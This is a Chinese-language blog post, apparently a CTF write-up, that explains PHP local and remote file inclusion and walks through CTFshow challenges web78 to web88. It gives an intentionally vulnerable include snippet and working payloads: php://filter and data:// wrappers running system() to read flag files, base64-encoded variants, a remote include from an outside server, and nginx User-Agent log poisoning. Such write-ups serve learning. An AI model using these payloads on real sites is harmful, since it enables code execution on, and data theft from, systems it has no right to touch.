本文已参与「新人创作礼」活动,一起开启掘金创作之路。
文件包含
概念
什么时候文件包含
那么文件包含呢简单来说就是
你的大哥,你有六个小弟,
那么大哥就有这六个小弟的呼叫方式,
当他要那个小弟的帮助就直接呼叫那个小弟那个小弟就会过滤帮助他了
那么用专业的话来说就是,
有ABCD四个文件
那么A文件里面设置了文件包含的函数
那么当A文件需要B文件的时候,就包含B文件就可以了,当A文件需要C文件就包含C文件就可以了,
可以怎么去简单理解
那么程序员为什么会用到文件包含呢
首先就是一个方便,当A文件需要B文件的时候就直接通过文件包含,包含B文件就可以,直接把B文件调用过来,这样就不用去编写代码了
本地包含/远程包含
那么文件包含有两种
一种是本地文件包含
一种是远程文件包含
但是大多是本地文件包含
对于严重程度来是,虽然两个都是文件包含漏洞,但是呢,远程文件包含漏洞要更严重些
php包含函数
在php语言当中,有四种文件包含的函数,分别是
include、require、include_once、require_once
<?php
show_source(__FILE__);
$file=$_GET['file'];
if(isset($file)){
include("$file");
//require("$file");
//require_once("$file");
//include_once("$file");
}
?>
这就是我们本地文件包含的php代码
ctf秀
web78
这关可以用为协议或者其他的
伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
这个意思大概就是读取flag.php,将读取的继续base64呈现
还有另外一种
?file=data://text/plain,<?php system("cat flag.php");?>
?file=php://input post:<?php system('tac flag.php');?>
通过命令去读
首先他是通过php代码进行的
代码内容就是 通过system最高最高权限,读取 flag.php文件的内容
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
他对我们的php字符进行了过滤
那么我们就要绕过他的过滤
我们首先通过phpbase64绕过和外部包含绕过还有替换符绕过
替换符
?file=data://text/plain,<?=system('tac flag.*');?>
这里我们就不flag.php而是用*号代替
*号表示所有
只有名称带有flag的都读取
base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
我们将
base64编码,
外部包含
?file=http://cs.odwei.com/WBBH.txt
我在服务器
WBBH.txt文件中写入
然后让服务器去包含他就可以了
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这关过滤了
php 和data
这一关要用到日志路径
/var/log/nginx
知道日志路径
我们在了解Niginx日志访问文件
access.log
那么这个日志这里记录的是 访问者的ip 和访问者的浏览器版本
那么我们可以改UA头
这个UA有其实就是我们访问者的蜘蛛核,也就是访问者浏览器版本类的记录
web81
和80一样的办法
web88
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk